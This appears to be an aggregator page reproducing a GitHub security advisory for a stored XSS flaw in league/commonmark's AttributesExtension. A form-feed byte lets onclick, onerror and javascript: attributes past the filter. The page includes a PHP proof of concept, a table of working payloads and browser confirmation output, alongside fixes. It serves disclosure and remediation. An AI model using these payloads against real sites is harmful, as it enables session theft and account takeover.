GHSA-f8fg-pg57-v4j8: league/commonmark XSS `on*` Event-handler Filter Vulnerability

HIGH
CVSS 7.2
CWE-79 CWE-86
Published
Advisory Summary

GHSA-f8fg-pg57-v4j8 is a HIGH (CVSS 7.2) `on*` event-handler filter vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting league/commonmark XSS libraries in the Packagist ecosystem. The issue involves `on*` event-handler filter in `attributesextension` bypassed with a u+000c form feed. Remediation is available by upgrading affected packages to version 2.9.1.

GHSA-f8fg-pg57-v4j8 at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-f8fg-pg57-v4j8
Severity HIGH
CVSS v3.1 Base Score 7.2
CWE Classification CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Affected Product league/commonmark XSS
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 7.2

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality Low (C:L)
Integrity Low (I:L)
Availability None (A:N)

How to Fix GHSA-f8fg-pg57-v4j8

To remediate this vulnerability, upgrade all affected league/commonmark XSS dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

league/commonmark fixed: 2.9.1
Upgrade league/commonmark to 2.9.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for league/commonmark

How to Check if You Are Affected

To determine whether your application is affected by GHSA-f8fg-pg57-v4j8, inspect your project dependencies for league/commonmark XSS:

inspect dependencies for league/commonmark

Analyze the terminal output to locate any version of league/commonmark XSS in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.9.1), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In league/commonmark XSS, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The `AttributesExtension` documents a security guarantee: > **Note:** Attributes starting with `on` (e.g. `onclick` or `onerror`) are capable of executing > JavaScript code and are therefore **never allowed by default**. You must explicitly add them to > the `allow` list if you want to use them. > > — `docs/2.x/extensions/attributes.md` Prefixing the attribute name with a single U+000C FORM FEED byte defeats that guarantee. `{<FF>onclick="alert(1)"}` passes through `AttributesHelper::filterAttributes()` untouched and is written verbatim into the output, where browsers parse it as a genuine `onclick` handler. The same prefix defeats the `allow_unsafe_links` check, letting a `javascript:` URI through on `href` / `src` even when `allow_unsafe_links` is `false`. This bypasses the fix shipped in the **2.7.0 security release** ("Fix XSS in AttributesExtension", 43207253ea5f14867c77c697cd3838c446cadcea), which added `filterAttributes()` for the express purpose of blocking these attributes. Throughout this report `<FF>` denotes a literal U+000C byte (`"\x0C"` in PHP). It is invisible in rendered text, so all payloads below are written with PHP escape sequences to stay unambiguous. ### Details Three behaviours combine. **1. `\x0C` survives the parser's `trim()`.** `AttributesHelper::SINGLE_ATTRIBUTE` begins with `\s*`, and `Cursor::match()` returns `$matches[0][0]` — the *entire* match, including that leading whitespace. The result is cleaned with PHP's `trim()`: ```php // src/Extension/Attributes/Util/AttributesHelper.php:62 while ($attribute = \trim((string) $attributeCursor->match('/^' . self::SINGLE_ATTRIBUTE . '/i'))) { ``` PCRE `\s` matches `\x0C`, but PHP's default `trim()` charlist is `" \t\n\r\0\x0B"` — it includes the vertical tab `\x0B` but **not** the form feed `\x0C`. The byte is therefore consumed by the regex, retained in the returned match, and not stripped. It ends up inside the attribute name: ```php // src/Extension/Attributes/Util/AttributesHelper.php:94 $attributes[\trim($name)] = \trim($value); // $name === "\x0Conclick" ``` `\x0C` is the only byte with this property: every other character the HTML5 tokenizer treats as whitespace (`\x09`, `\x0A`, `\x0D`, `\x20`), plus `\x0B`, is in PHP's trim charlist. The PoC includes a `\x0B` case as a control, and it is correctly stripped. **2. The filter's string comparisons miss it.** `filterAttributes()` compares the raw name against literal strings: ```php // src/Extension/Attributes/Util/AttributesHelper.php:148-166 $attrNameLower = \strtolower($name); // "\x0conclick" ... ($attrNameLower === 'href' || $attrNameLower === 'src') ... // false ... \str_starts_with($attrNameLower, 'on') ... // false -> not removed ``` **3. The renderer never escapes attribute names.** ```php // src/Util/HtmlElement.php:123-129 $result .= ' ' . $key . '="' . Xml::escape($value) . '"'; // $key emitted raw ``` Because the HTML5 tokenizer treats `\x0C` as whitespace *between* attributes, the browser reads the name as plain `onclick`. ### PoC ```php <?php require 'vendor/autoload.php'; use League\CommonMark\Environment\Environment; use League\CommonMark\Extension\Attributes\AttributesExtension; use League\CommonMark\Extension\CommonMark\CommonMarkCoreExtension; use League\CommonMark\MarkdownConverter; // The most defensive configuration docs/2.x/security.md recommends. $env = new Environment([ 'html_input' => 'escape', 'allow_unsafe_links' => false, 'max_nesting_level' => 100, // 'attributes' => ['allow' => [...]] deliberately left at its default [] ]); $env->addExtension(new CommonMarkCoreExtension()); $env->addExtension(new AttributesExtension()); $converter = new MarkdownConverter($env); $FF = "\x0C"; echo $converter->convert('hello {onclick="alert(1)"}')->getContent(); // <p>hello</p> <- filtered, as documented echo $converter->convert('hello {' . $FF . 'onclick="alert(1)"}')->getContent(); // <p \x0Conclick="alert(1)">hello</p> <- BYPASS ``` Full observed output (`\x0C` shown escaped; it is a literal single byte in the real output): | # | Markdown input | Rendered output | Result | |---|---|---|---| | A | `hello {onclick="alert(1)"}` | `<p>hello</p>` | filtered (control) | | B | `hello {\x0Conclick="alert(1)"}` | `<p \x0Conclick="alert(1)">hello</p>` | **bypass** | | C | `hello {\x0Bonclick="alert(1)"}` | `<p>hello</p>` | filtered (control) | | D | `[click](javascript:alert(1))` | `<p><a>click</a></p>` | filtered (control) | | E | `[click](https://example.com){\x0Chref="javascript:alert(1)"}` | `<p><a \x0Chref="javascript:alert(1)" href="https://example.com">click</a></p>` | **bypass** | | F | `![x](https://example.invalid/x.png){\x0Conerror="alert(1)"}` | `<p><img \x0Conerror="alert(1)" src="…" alt="x" /></p>` | **bypass** | | G | `# heading` + newline + `{\x0Conclick="alert(1)"}` | `<h1 \x0Conclick="alert(1)">heading</h1>` | **bypass** (block syntax) | In case E the injected `href` precedes the legitimate one. Per the HTML5 duplicate-attribute rule the **first** occurrence wins, so the `javascript:` URI is the one the browser actually uses. **Browser confirmation.** Loading the library's unmodified output in Chrome for Testing 148: ``` <img> attribute names : ["onerror","src","alt"] <- parsed as a real `onerror` typeof img.onerror : function <- bound as an event handler handlers fired : ["img-onerror"] <- fired on load, no interaction document.title : XSS-FIRED link href attribute : "javascript:void(0)" link href property : "javascript:void(0)" <- javascript: URI is the effective href page errors : [] ``` The `onerror` case executes with **no user interaction** — rendering the attacker's Markdown is sufficient. Verified against git HEAD (`f966b17a`) and against tag `2.9.0`, on PHP 8.5.8. ### Impact Stored cross-site scripting in any application that renders untrusted Markdown with `AttributesExtension` enabled and `attributes.allow` left at its default `[]` — even when the application has followed every hardening step in `docs/2.x/security.md` (`html_input => 'escape'`, `allow_unsafe_links => false`, `max_nesting_level => 100`). Consequences are the usual for stored XSS: session and cookie theft, actions performed as the viewing user, and account takeover where the host application permits it. Because the payload can be attached to an image (`onerror`), it fires on page load without requiring the victim to interact with anything. The affected configuration is the extension's default: `attributes.allow` defaults to `[]`, and the documentation describes that default as safe with respect to `on*` attributes. ### Workaround for users Setting an explicit allow list takes the other branch of `filterAttributes()`, which drops the form-feed name because it is not in the list: ```php $config = ['attributes' => ['allow' => ['id', 'class', 'align']]]; ``` Verified: `hello {\x0Conclick="alert(1)"}` then renders as `<p>hello</p>`. ### Suggested fix The narrow fix is to add `\x0C` to the trim charlist at `AttributesHelper.php` lines 62, 89, 90 and 94. That closes this instance but leaves the shape of the problem in place. A more durable fix is to reject anything that is not a well-formed attribute name in `filterAttributes()`, reusing the constant the parser already defines (`RegexHelper` is already imported in that file): ```php foreach ($attributes as $name => $value) { // Names are compared against literal strings below and emitted without escaping, // so anything that isn't a plain attribute name must not get through. if (\preg_match('/^' . RegexHelper::PARTIAL_ATTRIBUTENAME . '$/i', $name) !== 1) { unset($attributes[$name]); continue; } $attrNameLower = \strtolower($name); // ... existing logic unchanged } ``` As defence in depth, `HtmlElement::__toString()` could validate or escape `$key`. It currently trusts its callers to supply safe attribute names, and `filterAttributes()` is the only thing standing between that method and user-supplied input.

GHSA-f8fg-pg57-v4j8 Affected league/commonmark XSS Versions

1 component(s)
Fixed Versions:
2.9.1
Product / Package Ecosystem Affected Versions Fixed Version
league/commonmark
Packagist
≥ 2.7.0
< 2.9.1
2.9.1

References

Frequently Asked Questions

What is GHSA-f8fg-pg57-v4j8?
GHSA-f8fg-pg57-v4j8 is a security vulnerability in league/commonmark XSS involving `on*` event-handler filter in `AttributesExtension` bypassed with a U+000C form feed under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
Which league/commonmark XSS versions are affected?
Affected versions include releases prior to 2.9.1 across affected packages: league/commonmark.
What version fixes GHSA-f8fg-pg57-v4j8?
Upgrading to 2.9.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is league/commonmark affected?
Yes, league/commonmark is affected in releases prior to 2.9.1. Upgrade your dependency to 2.9.1 or later.
What is the CVSS score of GHSA-f8fg-pg57-v4j8?
GHSA-f8fg-pg57-v4j8 has a CVSS v3.1 base score of 7.2 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N.
What CWE is associated with GHSA-f8fg-pg57-v4j8?
GHSA-f8fg-pg57-v4j8 is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.).
How can I check Packagist dependencies for GHSA-f8fg-pg57-v4j8?
Run the dependency tree command: 'inspect dependencies for league/commonmark'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-f8fg-pg57-v4j8",
  "modified" : "2026-09-01T20:18:29Z",
  "published" : "2026-09-01T20:18:29Z",
  "aliases" : [ ],
  "summary" : "league/commonmark XSS: `on*` event-handler filter in `AttributesExtension` bypassed with a U+000C form feed",
  "details" : "### Summary\n\nThe `AttributesExtension` documents a security guarantee:\n\n> **Note:** Attributes starting with `on` (e.g. `onclick` or `onerror`) are capable of executing\n> JavaScript code and are therefore **never allowed by default**. You must explicitly add them to\n> the `allow` list if you want to use them.\n>\n> — `docs/2.x/extensions/attributes.md`\n\nPrefixing the attribute name with a single U+000C FORM FEED byte defeats that guarantee.\n`{<FF>onclick=\"alert(1)\"}` passes through `AttributesHelper::filterAttributes()` untouched and is\nwritten verbatim into the output, where browsers parse it as a genuine `onclick` handler.\n\nThe same prefix defeats the `allow_unsafe_links` check, letting a `javascript:` URI through on\n`href` / `src` even when `allow_unsafe_links` is `false`.\n\nThis bypasses the fix shipped in the **2.7.0 security release** (\"Fix XSS in AttributesExtension\",\n43207253ea5f14867c77c697cd3838c446cadcea), which added `filterAttributes()` for the express\npurpose of blocking these attributes.\n\nThroughout this report `<FF>` denotes a literal U+000C byte (`\"\\x0C\"` in PHP). It is invisible in\nrendered text, so all payloads below are written with PHP escape sequences to stay unambiguous.\n\n### Details\n\nThree behaviours combine.\n\n**1. `\\x0C` survives the parser's `trim()`.**\n\n`AttributesHelper::SINGLE_ATTRIBUTE` begins with `\\s*`, and `Cursor::match()` returns\n`$matches[0][0]` — the *entire* match, including that leading whitespace. The result is cleaned\nwith PHP's `trim()`:\n\n```php\n// src/Extension/Attributes/Util/AttributesHelper.php:62\nwhile ($attribute = \\trim((string) $attributeCursor->match('/^' . self::SINGLE_ATTRIBUTE . '/i'))) {\n```\n\nPCRE `\\s` matches `\\x0C`, but PHP's default `trim()` charlist is `\" \\t\\n\\r\\0\\x0B\"` — it includes\nthe vertical tab `\\x0B` but **not** the form feed `\\x0C`. The byte is therefore consumed by the\nregex, retained in the returned match, and not stripped. It ends up inside the attribute name:\n\n```php\n// src/Extension/Attributes/Util/AttributesHelper.php:94\n$attributes[\\trim($name)] = \\trim($value);   // $name === \"\\x0Conclick\"\n```\n\n`\\x0C` is the only byte with this property: every other character the HTML5 tokenizer treats as\nwhitespace (`\\x09`, `\\x0A`, `\\x0D`, `\\x20`), plus `\\x0B`, is in PHP's trim charlist. The PoC\nincludes a `\\x0B` case as a control, and it is correctly stripped.\n\n**2. The filter's string comparisons miss it.**\n\n`filterAttributes()` compares the raw name against literal strings:\n\n```php\n// src/Extension/Attributes/Util/AttributesHelper.php:148-166\n$attrNameLower = \\strtolower($name);                            // \"\\x0conclick\"\n... ($attrNameLower === 'href' || $attrNameLower === 'src') ... // false\n... \\str_starts_with($attrNameLower, 'on') ...                  // false -> not removed\n```\n\n**3. The renderer never escapes attribute names.**\n\n```php\n// src/Util/HtmlElement.php:123-129\n$result .= ' ' . $key . '=\"' . Xml::escape($value) . '\"';   // $key emitted raw\n```\n\nBecause the HTML5 tokenizer treats `\\x0C` as whitespace *between* attributes, the browser reads\nthe name as plain `onclick`.\n\n### PoC\n\n```php\n<?php\nrequire 'vendor/autoload.php';\n\nuse League\\CommonMark\\Environment\\Environment;\nuse League\\CommonMark\\Extension\\Attributes\\AttributesExtension;\nuse League\\CommonMark\\Extension\\CommonMark\\CommonMarkCoreExtension;\nuse League\\CommonMark\\MarkdownConverter;\n\n// The most defensive configuration docs/2.x/security.md recommends.\n$env = new Environment([\n    'html_input'         => 'escape',\n    'allow_unsafe_links' => false,\n    'max_nesting_level'  => 100,\n    // 'attributes' => ['allow' => [...]] deliberately left at its default []\n]);\n$env->addExtension(new CommonMarkCoreExtension());\n$env->addExtension(new AttributesExtension());\n$converter = new MarkdownConverter($env);\n\n$FF = \"\\x0C\";\n\necho $converter->convert('hello {onclick=\"alert(1)\"}')->getContent();\n// <p>hello</p>                                    <- filtered, as documented\n\necho $converter->convert('hello {' . $FF . 'onclick=\"alert(1)\"}')->getContent();\n// <p \\x0Conclick=\"alert(1)\">hello</p>             <- BYPASS\n```\n\nFull observed output (`\\x0C` shown escaped; it is a literal single byte in the real output):\n\n| # | Markdown input | Rendered output | Result |\n|---|---|---|---|\n| A | `hello {onclick=\"alert(1)\"}` | `<p>hello</p>` | filtered (control) |\n| B | `hello {\\x0Conclick=\"alert(1)\"}` | `<p \\x0Conclick=\"alert(1)\">hello</p>` | **bypass** |\n| C | `hello {\\x0Bonclick=\"alert(1)\"}` | `<p>hello</p>` | filtered (control) |\n| D | `[click](javascript:alert(1))` | `<p><a>click</a></p>` | filtered (control) |\n| E | `[click](https://example.com){\\x0Chref=\"javascript:alert(1)\"}` | `<p><a \\x0Chref=\"javascript:alert(1)\" href=\"https://example.com\">click</a></p>` | **bypass** |\n| F | `![x](https://example.invalid/x.png){\\x0Conerror=\"alert(1)\"}` | `<p><img \\x0Conerror=\"alert(1)\" src=\"…\" alt=\"x\" /></p>` | **bypass** |\n| G | `# heading` + newline + `{\\x0Conclick=\"alert(1)\"}` | `<h1 \\x0Conclick=\"alert(1)\">heading</h1>` | **bypass** (block syntax) |\n\nIn case E the injected `href` precedes the legitimate one. Per the HTML5 duplicate-attribute rule\nthe **first** occurrence wins, so the `javascript:` URI is the one the browser actually uses.\n\n**Browser confirmation.** Loading the library's unmodified output in Chrome for Testing 148:\n\n```\n<img> attribute names : [\"onerror\",\"src\",\"alt\"]      <- parsed as a real `onerror`\ntypeof img.onerror    : function                     <- bound as an event handler\nhandlers fired        : [\"img-onerror\"]              <- fired on load, no interaction\ndocument.title        : XSS-FIRED\nlink href attribute   : \"javascript:void(0)\"\nlink href property    : \"javascript:void(0)\"         <- javascript: URI is the effective href\npage errors           : []\n```\n\nThe `onerror` case executes with **no user interaction** — rendering the attacker's Markdown is\nsufficient.\n\nVerified against git HEAD (`f966b17a`) and against tag `2.9.0`, on PHP 8.5.8.\n\n### Impact\n\nStored cross-site scripting in any application that renders untrusted Markdown with\n`AttributesExtension` enabled and `attributes.allow` left at its default `[]` — even when the\napplication has followed every hardening step in `docs/2.x/security.md`\n(`html_input => 'escape'`, `allow_unsafe_links => false`, `max_nesting_level => 100`).\n\nConsequences are the usual for stored XSS: session and cookie theft, actions performed as the\nviewing user, and account takeover where the host application permits it. Because the payload can\nbe attached to an image (`onerror`), it fires on page load without requiring the victim to\ninteract with anything.\n\nThe affected configuration is the extension's default: `attributes.allow` defaults to `[]`, and\nthe documentation describes that default as safe with respect to `on*` attributes.\n\n### Workaround for users\n\nSetting an explicit allow list takes the other branch of `filterAttributes()`, which drops the\nform-feed name because it is not in the list:\n\n```php\n$config = ['attributes' => ['allow' => ['id', 'class', 'align']]];\n```\n\nVerified: `hello {\\x0Conclick=\"alert(1)\"}` then renders as `<p>hello</p>`.\n\n### Suggested fix\n\nThe narrow fix is to add `\\x0C` to the trim charlist at `AttributesHelper.php` lines 62, 89, 90\nand 94. That closes this instance but leaves the shape of the problem in place.\n\nA more durable fix is to reject anything that is not a well-formed attribute name in\n`filterAttributes()`, reusing the constant the parser already defines (`RegexHelper` is already\nimported in that file):\n\n```php\nforeach ($attributes as $name => $value) {\n    // Names are compared against literal strings below and emitted without escaping,\n    // so anything that isn't a plain attribute name must not get through.\n    if (\\preg_match('/^' . RegexHelper::PARTIAL_ATTRIBUTENAME . '$/i', $name) !== 1) {\n        unset($attributes[$name]);\n        continue;\n    }\n\n    $attrNameLower = \\strtolower($name);\n    // ... existing logic unchanged\n}\n```\n\nAs defence in depth, `HtmlElement::__toString()` could validate or escape `$key`. It currently\ntrusts its callers to supply safe attribute names, and `filterAttributes()` is the only thing\nstanding between that method and user-supplied input.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "league/commonmark"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.7.0"
      }, {
        "fixed" : "2.9.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/thephpleague/commonmark/security/advisories/GHSA-f8fg-pg57-v4j8"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/thephpleague/commonmark/commit/dfcdf4554c16aa37c15e3a5ee3243ee26147c239"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/thephpleague/commonmark"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/thephpleague/commonmark/releases/tag/2.9.1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79", "CWE-86" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-09-01T20:18:29Z",
    "nvd_published_at" : null
  }
}